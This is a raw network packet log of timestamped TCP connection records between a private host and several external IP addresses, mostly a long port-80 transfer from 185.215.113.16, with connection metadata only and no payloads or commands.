Dec 9, 2024 21:09:58.149535894 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.149804115 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.150448084 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.150495052 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.150547981 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.151457071 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.151549101 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.151783943 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.152431965 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.152582884 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.152759075 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.153444052 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.153537989 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.153583050 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.154407978 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.154484987 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.154669046 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.155441046 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.155613899 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.155785084 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.156449080 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.156523943 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.156606913 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.157466888 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.157578945 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.158437014 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.158544064 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.159429073 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.159467936 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.160423040 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.160510063 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.161081076 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.161416054 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.161524057 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.162477970 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.162560940 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.163464069 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.163566113 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.164474010 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.164518118 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.165770054 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.165950060 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.166503906 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.166599989 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.167490005 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.167629004 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.168489933 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.168606043 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.169496059 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.169536114 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.170439959 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.170684099 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.171524048 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.171605110 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.172472000 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.172535896 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.173433065 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.173578978 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.174463987 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.174664974 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.174951077 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.175014973 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.175131083 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.175131083 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.175451040 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.175565958 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.176433086 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.176531076 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.177442074 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.177470922 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.177594900 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.177637100 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.178421021 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.189976931 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.190048933 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.190378904 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.190504074 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.191381931 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.191478014 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.192378998 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.203005075 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.236831903 CET	80	50016	34.107.221.82	192.168.2.6
Dec 9, 2024 21:09:58.236902952 CET	50016	80	192.168.2.6	34.107.221.82
Dec 9, 2024 21:09:58.237071991 CET	50016	80	192.168.2.6	34.107.221.82
Dec 9, 2024 21:09:58.295819044 CET	80	50004	185.215.113.206	192.168.2.6
Dec 9, 2024 21:09:58.302567959 CET	50004	80	192.168.2.6	185.215.113.206
Dec 9, 2024 21:09:58.314197063 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.314232111 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.314523935 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.314671040 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.315572977 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.315632105 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.316521883 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.316586018 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.317538977 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.317744970 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.318504095 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.318600893 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.319550991 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.319595098 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.323292017 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.323345900 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.328411102 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.328500032 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.328557968 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.328843117 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.328952074 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.328989983 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.329885006 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.330027103 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.330063105 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.330863953 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.330903053 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.330943108 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.331859112 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.331942081 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.331980944 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.332853079 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.333020926 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.333060026 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.334014893 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.334034920 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.334072113 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.334867001 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.335009098 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.335047007 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.335860968 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.335935116 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.335973024 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.336494923 CET	443	50006	142.250.181.78	192.168.2.6
Dec 9, 2024 21:09:58.336508036 CET	443	50006	142.250.181.78	192.168.2.6
Dec 9, 2024 21:09:58.336569071 CET	50006	443	192.168.2.6	142.250.181.78
Dec 9, 2024 21:09:58.336888075 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.336935043 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.337198973 CET	443	50006	142.250.181.78	192.168.2.6
Dec 9, 2024 21:09:58.337470055 CET	50006	443	192.168.2.6	142.250.181.78
Dec 9, 2024 21:09:58.337893009 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.337939978 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.337999105 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.338913918 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.338947058 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.339893103 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.340008020 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.340874910 CET	50006	443	192.168.2.6	142.250.181.78
Dec 9, 2024 21:09:58.340888023 CET	443	50006	142.250.181.78	192.168.2.6
Dec 9, 2024 21:09:58.340939999 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.340956926 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.341008902 CET	50006	443	192.168.2.6	142.250.181.78
Dec 9, 2024 21:09:58.341067076 CET	443	50006	142.250.181.78	192.168.2.6
Dec 9, 2024 21:09:58.341437101 CET	50019	443	192.168.2.6	142.250.181.78
Dec 9, 2024 21:09:58.341486931 CET	443	50019	142.250.181.78	192.168.2.6
Dec 9, 2024 21:09:58.341528893 CET	50006	443	192.168.2.6	142.250.181.78
Dec 9, 2024 21:09:58.341590881 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.341590881 CET	50019	443	192.168.2.6	142.250.181.78
Dec 9, 2024 21:09:58.341895103 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.342143059 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.342896938 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.342940092 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.343012094 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.343698978 CET	50019	443	192.168.2.6	142.250.181.78
Dec 9, 2024 21:09:58.343720913 CET	443	50019	142.250.181.78	192.168.2.6
Dec 9, 2024 21:09:58.343746901 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.343849897 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.344027042 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.344835997 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.344964027 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.345505953 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.345840931 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.345983028 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.346883059 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.347111940 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.347903013 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.347982883 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.348862886 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.348911047 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.349884033 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.350028992 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.350863934 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.350935936 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.351877928 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.351943970 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.352885962 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.353044987 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.353184938 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.353416920 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.353444099 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.353897095 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.353991985 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.354325056 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.354857922 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.354932070 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.354968071 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.355864048 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.355890989 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.355943918 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.356441021 CET	80	50016	34.107.221.82	192.168.2.6
Dec 9, 2024 21:09:58.356861115 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.356899023 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.356936932 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.357853889 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.357894897 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.357934952 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.358855963 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.359010935 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.359050989 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.359879971 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.359977007 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.360018969 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.360944033 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.360974073 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.361011982 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.361872911 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.362035036 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.362075090 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.362864017 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.362987041 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.363027096 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.363847971 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.363944054 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.364983082 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.365149975 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.365891933 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.365999937 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.366857052 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.366947889 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.367837906 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.367904902 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.368859053 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.368935108 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.369890928 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.369962931 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.370940924 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.372467995 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.372467995 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.373796940 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.382040977 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.382148027 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.382457018 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.382515907 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.383455038 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.383485079 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.383510113 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.384448051 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.400054932 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.506192923 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.506282091 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.506567955 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.506623030 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.507571936 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.507695913 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.508927107 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.509021997 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.509731054 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.509764910 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.510576963 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.510678053 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.511588097 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.511615992 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.520359993 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.520395994 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.520638943 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.520713091 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.521584034 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.521672964 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.522588015 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.522624016 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.523619890 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.523693085 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.524596930 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.524679899 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.524691105 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.525585890 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.525736094 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.526596069 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.526803017 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.527626991 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.527724981 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.528604984 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.528791904 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.529582977 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.529624939 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.530555010 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.530581951 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.531575918 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.531647921 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.532593966 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.532716990 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.533631086 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.533740044 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.534574986 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.534626007 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.535595894 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.535640955 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.536612988 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.536731958 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.537544012 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.537647009 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.538549900 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.538650990 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.539592028 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.539764881 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.540888071 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.540941000 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.541583061 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.541764975 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.542608023 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.542623997 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.543581009 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.543661118 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.544558048 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.544636011 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.544838905 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:58.545664072 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.545845985 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.546566963 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.546674967 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.547557116 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.547621012 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.548650026 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.548738956 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.549572945 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.549700022 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.550585985 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.550687075 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.551599026 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.551853895 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.552630901 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.552773952 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.553586960 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.553845882 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.554601908 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.554675102 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.555536032 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.555634975 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.556775093 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.556823969 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.557574987 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.557672024 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.558533907 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:58.558732986 CET	80	50000	185.215.113.16	192.168.2.6
